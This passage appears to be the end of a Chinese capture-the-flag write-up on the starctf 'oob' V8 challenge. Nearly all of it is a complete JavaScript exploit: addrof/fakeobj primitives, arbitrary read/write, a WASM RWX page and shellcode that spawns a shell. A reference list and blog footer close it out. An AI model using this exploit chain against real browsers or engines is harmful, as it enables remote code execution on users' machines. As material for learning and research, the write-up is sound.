print(" " + ", ".join(words[i:i+6]) + ",")
print("];")
print(disasm(sc))var shellcode = [
0x0b3d8d48, 0x31000000, 0xb8d231f6, 0x0000003b, 0x622f050f, 0x732f6e69,
0x90900068,
];exp
var buf = new ArrayBuffer(8)
var f64_buf = new Float64Array(buf)
var u32_buf = new Uint32Array(buf)
function ftoi(val){ // float to BigInt
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}
function itof(val){ // BigInt to float
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var obj = {"A": 1};
var obj_arr = [obj];
var float_arr = [1.1,1.2,1.3,1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
function addrof(in_obj){
obj_arr[0] = in_obj;
obj_arr.oob(float_arr_map);
let addr = obj_arr[0];
obj_arr.oob(obj_arr_map);
return ftoi(addr);
}
function fakeobj(addr){
float_arr[0] = itof(addr);
float_arr.oob(obj_arr_map);
let fake = float_arr[0];
float_arr.oob(float_arr_map);
return fake;
}
var arb_rw_arr = [float_arr_map,1.2,1.3,1.4];
//这里的float_arr_map是double值
function arb_read(addr){
if (addr%2n == 0) addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
function initial_arb_write(addr,val){
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
fake[0] = itof(BigInt(val));
}
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0,
10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
function copy_shellcode(addr,shellcode){
let abuf = new ArrayBuffer(0x100);
let dataview = new DataView(abuf);
let backing_store_addr = addrof(abuf) + 0x20n;
initial_arb_write(backing_store_addr,addr);
for(let i = 0;i < shellcode.length;i++){
dataview.setUint32(4*i,shellcode[i],true);
}
}
var shellcode = [
0x0b3d8d48, 0x31000000, 0xb8d231f6, 0x0000003b, 0x622f050f, 0x732f6e69,
0x90900068,
];
copy_shellcode(rwx_page_addr, shellcode);
f();终于出了。
参考文献
从 0 开始学 V8 漏洞利用之环境搭建(一)
https://cloud.tencent.com/developer/article/1945764从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
https://cloud.tencent.com/developer/article/1945766从 0 开始学 V8 漏洞利用之 V8 通用利用链(三)
https://cloud.tencent.com/developer/article/1945767Seebug 漏洞平台
https://cloud.tencent.com/developer/column/2195https://www.freebuf.com/vuls/203721.html
这个讲 starctf oob 质量也挺好
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/V8 入门,好文章
https://tokameine.gitbook.io/chose-me-or-javascript-v8
看雪ID:shark_pro
https://bbs.kanxue.com/user-home-703941.htm
# 往期推荐
当高频观测不再经过异常路径:Shadow Cave 与常驻式插桩架构
D3CTF 2026 d3llvm.apk 反调试定位与加密 SO的Dump
球分享
球点赞
球在看
点击阅读原文查看更多